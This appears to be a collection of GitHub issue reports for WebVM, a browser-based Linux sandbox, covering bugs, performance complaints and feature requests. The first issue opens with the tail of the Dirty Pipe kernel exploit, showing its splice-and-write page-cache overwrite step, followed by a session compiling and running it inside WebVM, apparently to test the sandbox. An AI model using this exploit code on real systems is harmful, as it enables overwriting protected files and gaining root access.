        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return EXIT_FAILURE;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return EXIT_FAILURE;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
                perror("write failed");
                return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
                fprintf(stderr, "short write\n");
                return EXIT_FAILURE;
        }

        printf("It worked!\n");
        return EXIT_SUCCESS;
}
user@:~$ gcc -Wall -Wextra test2.c 
s
user@:~$  
user@:~$ ls
a.out  examples  test.c  test2.c
user@:~$ file a.out 
a.out: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=11ad260aed4e48530daf8f81b93e156d5688f3dc, not stripped
user@:~$ ls
a.out  examples  test.c  test2.c
user@:~$ ./a.out 
Usage: ./a.out TARGETFILE OFFSET DATA
user@:~$ ls /etc/
adduser.conf            deluser.conf  ld.so.cache     modules-load.d  python3.7     shadow-
alternatives            dhcp          ld.so.conf      motd            rc0.d         shells
apache2                 dpkg          ld.so.conf.d    nanorc          rc1.d         skel
apt                     environment   libaudit.conf   network         rc2.d         ssl
bash.bashrc             fstab         lighttpd        networks        rc3.d         subgid
bindresvport.blacklist  gai.conf      localtime       nsswitch.conf   rc4.d         subgid-
binfmt.d                group         logcheck        opt             rc5.d         subuid
ca-certificates         group-        login.defs      os-release      rc6.d         subuid-
ca-certificates.conf    gshadow       logrotate.conf  pam.conf        rcS.d         sysctl.conf
calendar                gshadow-      logrotate.d     pam.d           resolv.conf   sysctl.d
cron.d                  host.conf     machine-id      passwd          rmt           systemd
cron.daily              hostname      magic           passwd-         rpc           terminfo
cron.hourly             hosts         magic.mime      perl            rsyslog.conf  timezone
cron.monthly            init.d        mailcap         profile         rsyslog.d     tmpfiles.d
cron.weekly             inputrc       mailcap.order   profile.d       securetty     udev
crontab                 iproute2      mime.types      protocols       security      update-motd.d
debconf.conf            issue         mke2fs.conf     python          selinux       vim
debian_version          issue.net     modprobe.d      python2.7       services      xattr.conf
default                 kernel        modules         python3         shadow        xdg
user@:~$ ls /etc/
adduser.conf            deluser.conf  ld.so.cache     modules-load.d  python3.7     shadow-
alternatives            dhcp          ld.so.conf      motd            rc0.d         shells
apache2                 dpkg          ld.so.conf.d    nanorc          rc1.d         skel
apt                     environment   libaudit.conf   network         rc2.d         ssl
bash.bashrc             fstab         lighttpd        networks        rc3.d         subgid
bindresvport.blacklist  gai.conf      localtime       nsswitch.conf   rc4.d         subgid-
binfmt.d                group         logcheck        opt             rc5.d         subuid
ca-certificates         group-        login.defs      os-release      rc6.d         subuid-
ca-certificates.conf    gshadow       logrotate.conf  pam.conf        rcS.d         sysctl.conf
calendar                gshadow-      logrotate.d     pam.d           resolv.conf   sysctl.d
cron.d                  host.conf     machine-id      passwd          rmt           systemd
cron.daily              hostname      magic           passwd-         rpc           terminfo
cron.hourly             hosts         magic.mime      perl            rsyslog.conf  timezone
cron.monthly            init.d        mailcap         profile         rsyslog.d     tmpfiles.d
cron.weekly             inputrc       mailcap.order   profile.d       securetty     udev
crontab                 iproute2      mime.types      protocols       security      update-motd.d
debconf.conf            issue         mke2fs.conf     python          selinux       vim
debian_version          issue.net     modprobe.d      python2.7       services      xattr.conf
default                 kernel        modules         python3         shadow        xdg
user@:~$ ls -a /etc/
Display all 115 possibilities? (y or n)
.pwd.lock               gshadow-                modules-load.d/         rmt
adduser.conf            host.conf               motd                    rpc
alternatives/           hostname                nanorc                  rsyslog.conf
apache2/                hosts                   network/                rsyslog.d/
apt/                    init.d/                 networks                securetty
bash.bashrc             inputrc                 nsswitch.conf           security/
bindresvport.blacklist  iproute2/               opt/                    selinux/
binfmt.d/               issue                   os-release              services
ca-certificates/        issue.net               pam.conf                shadow
ca-certificates.conf    kernel/                 pam.d/                  shadow-
calendar/               ld.so.cache             passwd                  shells
cron.d/                 ld.so.conf              passwd-                 skel/
cron.daily/             ld.so.conf.d/           perl/                   ssl/
cron.hourly/            libaudit.conf           profile                 subgid
cron.monthly/           lighttpd/               profile.d/              subgid-
cron.weekly/            localtime               protocols               subuid
crontab                 logcheck/               python/                 subuid-
debconf.conf            login.defs              python2.7/              sysctl.conf
debian_version          logrotate.conf          python3/                sysctl.d/
default/                logrotate.d/            python3.7/              systemd/
deluser.conf            machine-id              rc0.d/                  terminfo/
dhcp/                   magic                   rc1.d/                  timezone
dpkg/                   magic.mime              rc2.d/                  tmpfiles.d/
environment             mailcap                 rc3.d/                  udev/
fstab                   mailcap.order           rc4.d/                  update-motd.d/
gai.conf                mime.types              rc5.d/                  vim/
group                   mke2fs.conf             rc6.d/                  xattr.conf
group-                  modprobe.d/             rcS.d/                  xdg/
gshadow                 modules                 resolv.conf             
user@:~$ ls -lah /etc/
total 0
-rw------- 0 user user    0 Sep 17  2021 .pwd.lock
-rw-r--r-- 0 user user 3.0K Sep 17  2021 adduser.conf
drwxr-xr-x 0 user user 4.0K Jan 31  2022 alternatives
drwxr-xr-x 0 user user 4.0K Sep 17  2021 apache2
drwxr-xr-x 0 user user 4.0K Sep 17  2021 apt
-rw-r--r-- 0 user user 2.0K Apr 18  2019 bash.bashrc
-rw-r--r-- 0 user user  367 Mar  2  2018 bindresvport.blacklist
drwxr-xr-x 0 user user 4.0K Mar 18  2021 binfmt.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 ca-certificates
-rw-r--r-- 0 user user 5.9K Sep 17  2021 ca-certificates.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 calendar
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.daily
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.hourly
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.monthly
drwxr-xr-x 0 user user 4.0K Sep 17  2021 cron.weekly
-rw-r--r-- 0 user user 1.1K Oct 11  2019 crontab
-rw-r--r-- 0 user user 2.9K Feb 26  2019 debconf.conf
-rw-r--r-- 0 user user    6 Oct  3  2021 debian_version
drwxr-xr-x 0 user user 4.0K Sep 17  2021 default
-rw-r--r-- 0 user user  604 Jun 26  2016 deluser.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 dhcp
drwxr-xr-x 0 user user 4.0K Sep 17  2021 dpkg
-rw-r--r-- 0 user user    0 Sep 17  2021 environment
-rw-r--r-- 0 user user   37 Sep 17  2021 fstab
-rw-r--r-- 0 user user 2.6K Aug  1  2018 gai.conf
-rw-r--r-- 0 user user  619 Sep 17  2021 group
-rw-r--r-- 0 user user  606 Sep 17  2021 group-
-rw-r----- 0 user user  516 Sep 17  2021 gshadow
-rw-r----- 0 user user  507 Sep 17  2021 gshadow-
-rw-r--r-- 0 user user    9 Aug  7  2006 host.conf
-rw-r--r-- 0 user user    7 Sep 17  2021 hostname
-rw-r--r-- 0 user user  109 Sep 17  2021 hosts
drwxr-xr-x 0 user user 4.0K Jan 28  2022 init.d
-rw-r--r-- 0 user user 1.8K May  5  2018 inputrc
drwxr-xr-x 0 user user 4.0K Sep 17  2021 iproute2
-rw-r--r-- 0 user user   27 Jun 13  2021 issue
-rw-r--r-- 0 user user   20 Jun 13  2021 issue.net
drwxr-xr-x 0 user user 4.0K Sep 17  2021 kernel
-rw-r--r-- 0 user user  19K Jan 31  2022 ld.so.cache
-rw-r--r-- 0 user user   34 Mar  2  2018 ld.so.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 ld.so.conf.d
-rw-r--r-- 0 user user  191 Apr 25  2019 libaudit.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 lighttpd
lrwxrwxrwx 0 user user   27 Jan 28  2022 localtime -> /usr/share/zoneinfo/Etc/UTC
drwxr-xr-x 0 user user 4.0K Sep 17  2021 logcheck
-rw-r--r-- 0 user user  11K Jul 27  2018 login.defs
-rw-r--r-- 0 user user  435 Aug 22  2018 logrotate.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 logrotate.d
-r--r--r-- 0 user user   33 Sep 17  2021 machine-id
-rw-r--r-- 0 user user  111 Jan 25  2021 magic
-rw-r--r-- 0 user user  111 Jan 25  2021 magic.mime
-rw-r--r-- 0 user user 2.6K Jan 28  2022 mailcap
-rw-r--r-- 0 user user  449 Feb  9  2019 mailcap.order
-rw-r--r-- 0 user user  24K Feb  9  2019 mime.types
-rw-r--r-- 0 user user  812 Jan 10  2020 mke2fs.conf
drwxr-xr-x 0 user user 4.0K Feb  9  2019 modprobe.d
-rw-r--r-- 0 user user  195 Sep 17  2021 modules
drwxr-xr-x 0 user user 4.0K Jan 28  2022 modules-load.d
-rw-r--r-- 0 user user  286 Jun 13  2021 motd
-rw-r--r-- 0 user user 9.1K Jun 12  2019 nanorc
drwxr-xr-x 0 user user 4.0K Sep 17  2021 network
-rw-r--r-- 0 user user   60 Sep 17  2021 networks
-rw-r--r-- 0 user user  494 Feb 10  2019 nsswitch.conf
drwxr-xr-x 0 user user 4.0K Sep 17  2021 opt
lrwxrwxrwx 0 user user   21 Oct  3  2021 os-release -> ../usr/lib/os-release
-rw-r--r-- 0 user user  552 Feb 14  2019 pam.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 pam.d
-rw-r--r-- 0 user user 1.2K Sep 17  2021 passwd
-rw-r--r-- 0 user user 1.2K Sep 17  2021 passwd-
drwxr-xr-x 0 user user 4.0K Jan 31  2022 perl
-rw-r--r-- 0 user user  767 Mar  4  2016 profile
drwxr-xr-x 0 user user 4.0K Jun 13  2021 profile.d
-rw-r--r-- 0 user user 2.9K Feb 10  2019 protocols
drwxr-xr-x 0 user user 4.0K Jan 28  2022 python
drwxr-xr-x 0 user user 4.0K Jan 28  2022 python2.7
drwxr-xr-x 0 user user 4.0K Sep 17  2021 python3
drwxr-xr-x 0 user user 4.0K Sep 17  2021 python3.7
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rc0.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rc1.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc2.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc3.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc4.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc5.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rc6.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rcS.d
-rw-r--r-- 0 user user  738 Sep 17  2021 resolv.conf
lrwxrwxrwx 0 user user   13 Apr 23  2019 rmt -> /usr/sbin/rmt
-rw-r--r-- 0 user user  887 Feb 10  2019 rpc
-rw-r--r-- 0 user user 2.0K Feb 26  2019 rsyslog.conf
drwxr-xr-x 0 user user 4.0K Feb 26  2019 rsyslog.d
-rw-r--r-- 0 user user 4.1K Jul 27  2018 securetty
drwxr-xr-x 0 user user 4.0K Sep 17  2021 security
drwxr-xr-x 0 user user 4.0K Sep 17  2021 selinux
-rw-r--r-- 0 user user  19K Feb 10  2019 services
-rw-r----- 0 user user  639 Sep 17  2021 shadow
-rw-r----- 0 user user  613 Sep 17  2021 shadow-
-rw-r--r-- 0 user user  116 Sep 17  2021 shells
drwxr-xr-x 0 user user 4.0K Sep 17  2021 skel
drwxr-xr-x 0 user user 4.0K Jan 28  2022 ssl
-rw-r--r-- 0 user user   18 Sep 17  2021 subgid
-rw-r--r-- 0 user user    0 Sep 17  2021 subgid-
-rw-r--r-- 0 user user   18 Sep 17  2021 subuid
-rw-r--r-- 0 user user    0 Sep 17  2021 subuid-
-rw-r--r-- 0 user user 2.3K May 31  2018 sysctl.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 sysctl.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 systemd
drwxr-xr-x 0 user user 4.0K Sep 17  2021 terminfo
-rw-r--r-- 0 user user    8 Jan 28  2022 timezone
drwxr-xr-x 0 user user 4.0K Mar 18  2021 tmpfiles.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 udev
drwxr-xr-x 0 user user 4.0K Jan 28  2022 update-motd.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 vim
-rw-r--r-- 0 user user  642 Mar  1  2019 xattr.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 xdg
user@:~$ find /usr -uid 0
user@:~$ ls
a.out  examples  test.c  test2.c
user@:~$ echo abc>n
user@:~$ ./a.out 
Usage: ./a.out TARGETFILE OFFSET DATA
user@:~$ ./a.out abc 1 d
open failed: No such file or directory
user@:~$ ./a.out n 1 d

Can't save file made in nano

Hi, I try to edit a file in nano. And when I save, it hangs on choose name of file. Pressing Enter does nothing.

image

version: GNU nano 3.2

[Safari ?] Hangs randomly

Basically the title, when I try to use vim or just the terminal, the website hangs, the only way to fix it is reloading. js console shows a debug message of the format Fault addr cb8bb1a4, ip 556ece35, tid 4 followed by Fault from Inode 28281.

Tool Version
Safari 15.4 (16613.1.17.1.13, 16613)
Macos Big Sur 11.6.2
Model M1 Macbook Air 2020

Where's your source code?

You use numerous binaries licensed under the GNU Public License. So, where's the source code? Or, where's your lawyer?

Fault while using numpy

Reproducing the fault is as easy as visiting https://webvm.io/ and:

$ python3
>>> import numpy as np
>>> np.linspace(0., 1., 3)

The JS console reports:

TODO: FAULT af8ef5e2 [cxcore-no-return-call.js:1:63609](https://cheerpxdemos.leaningtech.com/publicdeploy/20230609_107/cxcore-no-return-call.js)
CODE 0 2e 0

This only seems to happen with np.linspace(..., >3)

FYI I'm using FireFox 114.0.1, same thing happens on 116.0a1

Too slow

This is too slow that I cant use it well. I used Chrome 101 on Ubuntu 20.04.4

Is it slow only for me?

clang++ never finishes compiling

I tried it for >12h and it never finished. I tried to compile the following source code.

#include <iostream>
#include <time.h>

int main()
{
        unsigned long tmp, a = 0, b = 1;
        std::cout << "Started!" << std::endl;
        time_t t1 = time(NULL);

        for (unsigned long i = 0uL; i < 10000uL; ++i)
        {
            for (unsigned long j = 0uL; j < 1000000uL; ++j)
            {
                    tmp = b;
                    b = a + b;
                    a = tmp;
            }
        }

        time_t t2 = time(NULL);
        time_t dt = t2 - t1;

        std::cout << "Finished!" << std::endl;

        std::cout << "Result: " << b << std::endl;
        std::cout << "Time: " << dt << "s" << std::endl;

        return 0;
}

Suggestion: use squashfs instead of ext2fs

Supporting the squasfs image format instead of ext2 would solve two issues at the same time: it would make HTTP transport compression unnecessary as well as help alleviate the hosted image size issue HTTP transport compression is limited to zlib algorithm while squashfs supports zstd or even xz. Enabling modification of existing files would be a little more tricky and would require a per-file COW layer on top.

is it possible to set up a window manager/desktop environment?

if no, then it would be nice if you added the support for it

╔══════════╦════════════════════════════════════════════════════════════════════╗
β•‘bonus question β•‘ ========================-===== β•‘ ------------------------------- β•‘ ----╔═══╗ ----β•‘ ------ ══╗ --- ╔══ ------β•‘
╠══════════╩═════════════════════════╣--------- ═══════ ------- β•‘ ----β•‘____β•‘ ----β•‘ -----------╠══╣ ----------β•‘
β•‘ =========================================== β•‘ ------------------------------- β•‘ ----β•šβ•β•β•β• ----β•‘ ------ ══╝ --- β•šβ•β• --- --β•‘ ╠═╦═════════════════════════════════════════════════════════════════════════════╣
β•‘1.β•‘ is webvm able to access the internet? ------------------------------------------------------------------------------------------------------------ -- β•‘
╠═╬═════════════════════════════════════════════════════════════════════════════╣
β•‘2.β•‘ if no then please add it so that i would be able to use apt to get the window manager, and thanks for reading! ---------- ------ β•‘
β•šβ•β•©β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

it took me hours to make ↑that btw

loading fs cache is very slow

I ran the recommended python example and was surprised to see how much faster it ran the second time.
then I say that there was node js examples, so I tried running node, and well, it's been trying to load in another tab while I've been writing this issue and it's still not there.

I opened the dev tools and on the network tab I saw it's doing a bunch of xhr's like
https://disks.leaningtech.com/webvm_20220131.ext2?s=796655616&e=796786687
it seems to do them one at a time... (okay node has opened now)
I can see this is part of the file system... each block is 128kb, which isn't big, but there is certainly a delay between each block.

To be useful this needs to be much faster. It seems to me that the high latency means a much larger block size (and thus fewer requests) would be much faster.

Logo/mascot [nice to have]

Hi there!

I'm thinking there should be a logo, or as the cool kids call it, a "favicon" for the website. Perhaps some ASCII art or a nice letter art? I can't draw but wanted to have the idea for considering.
Thanks!

apt-update: unexpected exit

Running apt update results in the following error being thrown:

Unexpected exit @https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js line 1 > WebAssembly.instantiate:wasm-function[4076]:0x22f9b8
@https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js line 1 > WebAssembly.instantiate:wasm-function[5696]:0x28a392
@https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js line 1 > WebAssembly.instantiate:wasm-function[1299]:0x5260e
@https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js line 1 > WebAssembly.instantiate:wasm-function[131]:0x747b
@https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js line 1 > WebAssembly.instantiate:wasm-function[4190]:0x2402ba
ax6@https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js:1:65688
ax5@https://cheerpxdemos.leaningtech.com/publicdeploy/20220131_700/cxcore.js:1:66104

image

It would be awesome if we could install new software into webvm. The vm could try to detect http requests from socket syscalls, and translate them to fetch requests, or use something like https://github.com/benjamincburns/websockproxy

Custom images

Any ways to run my custom image, like in v86? Personally, I want my examples directory and utils like neofetch or pfetch. Don't find any documentation about customizations like this.

btw there is any roadmap?

Loading hangs on Safari 15.3 on macOS Big Sur 11.6.3

With Content Blocker active for the site the entire tab froze and was unresponsive. Turning off content blocker seemed to allow the tab to unfreeze but still failed to load. Got most of the way but never generated your default error message.

Subsequent launch in a new tab just came up blank. Hitting refresh showed a progress bar along the bottom of the address bar but page still remained blank until running a force reload but then it just gets back to a block cursor under the vim examples/c/helloworld.c line and never recovers.

Seems to work OK with Edge Dev 99.0.1150.2 (Official build) Dev (x86_64) on macOS 11.6.3 albeit a bit slow to finish initializing.
Similar hang on Firefox 96.0.3, and I had to turn off enhanced tracking to get to about the same point I got to in Safari.
Seems to work OK on Chrome Version 98.0.4758.80 on macOS 11.6.3. Init was faster than Edge Dev.

image

Support Android apps

How far is it realistic to start Android apps in WebVM?
What are the missing parts?

Such a solution could for example use a root file system of www.android-x86.org or https://github.com/remote-android/redroid-doc.
Applications in the root file system with high CPU or memory usage could be recompiled to JS or Wasm by using the feature described in copy/v86#397.

Emulating the whole Linux kernel like https://copy.sh/v86/?profile=android does it might be to slow with recent Android versions.
In addition v86 does not support SSE3 (See copy/v86#397)

Therefore I guess WebVM would be the right solution to get Android apps up and running in a Browser.

no redirect

whenever i click Connect via Tailscale it just says "Loading network code..." and then dose nothing

Put files into VM

How can I copy a file from my server to the VM?

I tried to run commands like '/bin/touch' to create a file, however I can't put contents into the file, because the CheerpX run command with echo prints everything in the terminal:

Javascript Code:
await cheerpx.run('/bin/echo', ['"Hello World"', '>', '/var/www/index.html'], {});

Output:
"Hello World" > /var/www/index.html

The commands wget and curl are not available either. Is there a way to put a file into the VM using the API?

Filesystem data is dumped when `cat /bin` is executed

                        __      __   _  __   ____  __       
                        \ \    / /__| |_\ \ / /  \/  | 
                         \ \/\/ / -_) '_ \ V /| |\/| | 
                          \_/\_/\___|_.__/\_/ |_|  |_|  


 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
 |                                                                            |
 | WebVM is a server-less virtual Linux environment running fully client-side |
 | in HTML5/WebAssembly.                                                      |
 |                                                                            |
 | In this demo, it runs an unmodified Debian distribution including many     |
 | native development toolchains.                                             |
 |                                                                            |
 | WebVM is powered by the CheerpX virtualization engine, and enables safe,   |
 | sandboxed client-side execution of x86 binaries on any browser.            |
 |                                                                            |
 | CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based |
 | file system, and a Linux syscall emulator.                                 |
 |                                                                            |
 | For more information: https://medium.com/p/40a60170b361                    |
 |                                                                            |
 | GitHub  |  Issues  |  Gitter  |  Twitter  |  Latest News  |  About CheerpX |
 |                                                                            |
 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+

   Welcome to WebVM (build 20220201). If unsure, try these examples:

     python3 examples/python3/fibonacci.py 
     gcc -o helloworld examples/c/helloworld.c && ./helloworld
     objdump -d ./helloworld | less -M
     vim examples/c/helloworld.c

user@:~$ ls
examples
user@:~$ cd /
user@:/$ ls
bin  boot  bootstrap  dev  etc  home  lib  lib64  libx32  lost+found  media  mnt  nbody.js  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
user@:/$ cd /b
bash: cd: /b: No such file or directory
user@:/$ ./bootstrap/
bash: ./bootstrap/: Is a directory
user@:/$ echo 2>bin

user@:/$ cat bin
U
.U
..U
aptU    apt-cacheU      apt-cdromU
apt-configUapt-getUapt-keyapt-markUW
clear_consoleWrbashW
catWchgrpWchmodWchownW
cpW
dateW
ddW
dfW
dirW
echoWfalseW
lnW
lsWmkdirWmknodWmktempW
mvW
pwdreadlinkW
rmWrmdirWsleepW
sttyW
syncWtouchW
trueWunameW
vdirW
[W
archWb2sumWbase32Wbase64basenameWchconWcksumW
commWcsplitW
cutW    dircolorsWdirnameW
duW
envWexpandW
exprWfactorW
fmtW
foldWgroupsW
headWhostidW
idWinstallW
joinW
linkWlognameWmd5sumWmkfifoW
niceW
nlWnohupWnprocWnumfmtW
odWpasteWpathchkWpinkyW
prprintenvWprintfW
ptxrealpathWrunconW
seqWsha1sumX    sha224sum!X     sha256sum"X     sha384sum$X     sha512sum%Xshred&X
shuf'X
sort(Xsplit*X
stat+Xstdbuf,X
sum-X
tac.X
tail/X
tee0X
test1Xtimeout2X
tr3truncate4Xtsort5X
tty7unexpand8X
uniq9Xunlink:Xusers;X
wc<X
who=Xwhoami>X
yes5dmd5sum.textutils;d
dashZ
shidebconfidebconf-apt-progressidebconf-communicateidebconf-copydbidebconf-escapei debconf-set-selectionsi
debconf-showTZ  run-partsUtempfileVZwhichYischrootZZsavelogcZ
cmpdZ
diffeZdiff3fZsdiffZ
dpkgdpkg-debZ
dpkg-divertZ dpkg-maintscript-helperZ
dpkg-queryZ
dpkg-splitZdpkg-statoverrideZ
dpkg-triggerZupdate-alternativesXchattrXlsattrw[
findx[xargs[    catchsegv[getconf[getent[iconv[
ldd[locale[     localedef[
plddtzselect[zdumpZ
gpgv[egrep[fgrep[
grep[rgrepS[gunzipU[gzexeW[
gzipS[
uncompressX[
zcatY[
zcmpZ[zdiff[[zegrep\[zfgrep][zforce^[zgrep_[zless`[zmoreb[
dnsdomainname]]
nisdomainname]
ypdomainname]deb-systemd-helper]deb-systemd-invoke]
mawk]clear]infocmp]
tabs]
tic]
toe]
tput]
tset
^       captoinfo^      infotocap^reset^
perl^
perl5.28.11\
sed     _login
_faillog
_lastlog
_newgrpOf
sgO_chageP_
chfnQ_
chshR_expiryS_gpasswdT_passwd_pidof_
tar_logger_renice_script_
scriptreplay_
`mount`umount`dmesg`findmnt `lsblk!`
more"`
mountpoint#`
su$`wdctlC`addpartD`choomE`
chrtF`delpartG` fallocateH`fincoreI`flockJ`getoptK`ioniceL`ipcmkM`ipcrmN`
ipcsO`
lastP`lscpuQ`lsipcR`lslocksSlsloginsT`lsmemU`
lsnsV`mcookieW`
mesgX`nameiY`nsenterZ`partx[`prlimit\`  rename.ul]`
resizepart^`
rev_`setarch``setpriva`setsidb`settermc`tasksetd`unshareeutmpdumpf`whereisf
i386flastbflinux32flinux649\
nawkloginctlobootctlm7\
awkmfpager.dpY
networkctlpkY   systemctletwYsystemd-ask-passwordYsystemd-escapeYsystemd-inhibitkY systemd-machine-id-setupYsystemd-notifyd-Ysystemd-sysusers_systemd-tmpfilesFd(systemd-tty-ask-password-agentg-obusctlsto
hostnamectleokernel-installpfo  localectlgo
resolvectlk-osystemd-analyzepo
systemd-catgo
systemd-mountewoosystemd-detect-virto
systemd-patho
systemd-runo systemd-socket-activatetosystemd-stdio-bridgeo
timedatectlnTpsystemdtpsystemd-resolvepsystemd-umountt.iapt-ftparchivepli
apt-sortpkgsi   bsd-writedpkcalendari
colpi
lookiapt-extracttemplatesicolcrtaricolrmiicolumnewihexdumpdilorderi
printerbannerkg-i
uli
calgi
imt-gnupkg-newicpionew-newoY
journalctl]j
ss.dfj
rdmaicrontabbdjlnstatg-ejnstatnstgjroutefhjroutel-n*k
pingbsd-fromjctstatpkjrtstat-kping4dpk.kping6l.dj
iptables-xmlGklsmoddpkg-newwst9k
kmod\j
ip-nQlessechoRklesskeySlesspipeXlessfilekrnanodpkXopensslhlkillewzknanog-newrliPk
lesswhiptaill
pslll
freec_rehashlpgrepkg-l
pmapl
pwdxlskillgrelslabtopltload-nel
topluptimekglvmstatdpw.procpslwatchnewlpkill.dplsnice
select-editorg-nglsensible-editorelsensible-pagergudevadm-@m    helpztagspkg-newltaskselwnewnl
systemd-hwdbWclingdpkX
node^vim.tiny`m
xxdkfm
mthmeditorpkjm
picolm
wis.nmrviewom
vikgvm
view}m
exnemwrite386m
fromXnodejspkX  python3.7mpeX
jswX
python3.7mdpX
py3compilepkX
py3versionscXpython3python3mXcomposelX
editXprintse.Xseekg-newd.dpy3cleanX
pygettext3.7Xpdb3.7Xpydoc3pkXbunzip2wX
run-mailcapX
pygettext3g-newpydoc3.7Xbzcatp2.Y
fileX
pdb3XbzdiffdpXbzexeXbzgrepw.Xbzip2.dpX
bzip2recoverXbzmoreXbzcmpg-nYbzegreppYbzfgrepeYbzlessmoY
xzmaYxzdiffdpYxzgrepg-YxzlessdiYxzmore-Y
unxz.Yxzcat/Yxzcmpewt0Yxzegrepd1Yxzfgrep9Yunlzmapk;Ylzcat=Ylzmorep?YlzlessdpAYlzdiffCYlzcmpmp7Ylzma-newlzmainfoEYlzgrep.dGYlzegrepIYlzfgrepgQYgem2.5.dRYirb2.5SYrdoc2.5nTYri2.55.dUYruby2.5^Y
gem._Y
irb`Y
rdocaY
ri
bYruby-newPYerb2.5nvrYunzipp.dpkg-newniY
rakesunzipsfxtYzipgrep]Y
erbwrYzipinfox{zipcloak|Yzipnotec}zipsplitzY
zipwqYfunzip.da]i686-linux-gnu-ardr2b]i686-linux-gnu-as686c] i686-linux-gnu-c++filtd]i686-linux-gnu-dwpkge] i686-linux-gnu-elfedit.d^i686-linux-gnu-gprof^ i686-linux-gnu-ld.bfdlin^ i686-linux-gnu-ld.gold^i686-linux-gnu-nm-nei686-linux-gnu-addr2lineM^ranlibg-N^readelfbQ^stringsR^strippkg_^cpp-8lin` i686-linux-gnu-gcc-ar-8kagcc-8wp.\^i686-linux-gnu-cpp-8` i686-linux-gnu-gcc-nm-8.`$686-linux-gnu-gcc-ranlib-8n` i686-linux-gnu-gcov-8w?^     addr2lineg-ta$i686-linux-gnu-gcov-dump-88.a$i686-linux-gnu-gcov-tool-8v-gcc-ar-8gcc-nm-8a
gcc-ranlib-8agcov-886a
gcov-dump-8la
gcov-tool-8"amtrace.d#arpcgen$asotruss%asprofn.dag++-8linaluac50dpkg-newwaluajit.d!agencata     python2.7-tmpewalua50-8.dpkg-new`i686-linux-gnu-gcc-8ai686-linux-gnu-g++-8a
luaua
luaca   pycompilepkgapython2oa
pyversions,bpydoc2pkg-newewapython.dpkg-newapycleanpydoc2.7b
pygettext2.7$bpdb2.7ne+b
pdb2-b
pygettext2new2to3-2.74bpydocpkg5b       pygettext.dp<blspciew&b
dh_python2=b
pcimodules-new-new3b
pdb>bsetpciulb
yaml-bench-7wetpVb
beefb   clang++-7olibclang-7b
clang-cpp-7pbclangsymbclang++wbi586-linux-gnu-cppewbasan_symbolize-7b
cppnb
gccwbasan_symbolizebi686-linux-gnu-cpp.dbc99-gcc.bgcc-arbgcc-nmewb
gcc-ranlibewb
gcovb   gcov-dumpb      gcov-toolbbi586-linux-gnu-gccb i586-linux-gnu-gcc-arcovb i586-linux-gnu-gcc-nmtoob$i586-linux-gnu-gcc-ranlibu-gbi586-linux-gnu-gcovnb i586-linux-gnu-gcov-dumpb i586-linux-gnu-gcov-toolbi686-linux-gnu-gcc-rb i686-linux-gnu-gcc-arlinb i686-linux-gnu-gcc-nm586b$i686-linux-gnu-gcc-ranlibbbi686-linux-gnu-gcovlc i686-linux-gnu-gcov-dumpc i686-linux-gnu-gcov-toolfncurses6-configw
chexeditnmncursesw6-configmncurses5-configwmncursesw5-configm
llvm-c-test-7nlc-7m     llvm-ar-7ew-newemlli-7mlli-child-target-7v--nopt-7bc89-gccm     llvm-as-7g-nnllvm-bcanalyzer-7hufn
llvm-config-7er-nfi-verify-7wn
llvm-cvtres-7wnllvm-cxxdump-7gnllvm-cxxfilt-7er n
llvm-diff-7
n
llvm-dis-7dp
nllvm-dlltool-7ov
nllvm-dwarfdump-7
llvm-dwp-7nllvm-exegesis-7dnllvm-extract-7xxn
llvm-lib-7n
llvm-link-7gn
llvm-lto-7isn
llvm-lto2-7n    llvm-mc-7kg-n
